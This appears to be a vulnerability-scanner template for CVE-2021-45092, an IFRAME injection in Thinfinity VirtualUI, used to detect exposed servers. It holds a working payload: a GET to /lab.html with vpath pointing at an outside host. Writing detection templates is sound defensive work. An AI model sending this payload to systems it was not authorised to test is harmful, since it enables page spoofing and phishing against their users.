id: CVE-2021-45092

info:
  name: Thinfinity Iframe Injection
  author: danielmofer
  severity: critical
  description: A vulnerability exists in Thinfinity VirtualUI in a function located in /lab.html reachable which by default  could allow IFRAME injection via the "vpath" parameter.
  reference:
    - https://github.com/cybelesoft/virtualui/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44848
    - https://www.tenable.com/cve/CVE-2021-45092
    - http://packetstormsecurity.com/files/166068/Thinfinity-VirtualUI-2.5.41.0-IFRAME-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45092
    cwe-id: CWE-74
    epss-score: 0.28597
    cpe: cpe:2.3:a:cybelesoft:thinfinity_virtualui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cybelesoft
    product: thinfinity_virtualui
  tags: packetstorm,iframe,thinfinity,tenable,cve,cve2021,injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/lab.html?vpath=//interact.sh"

    matchers:
      - type: regex
        regex:
          - ".*vpath.*"
          - "thinfinity"
        condition: and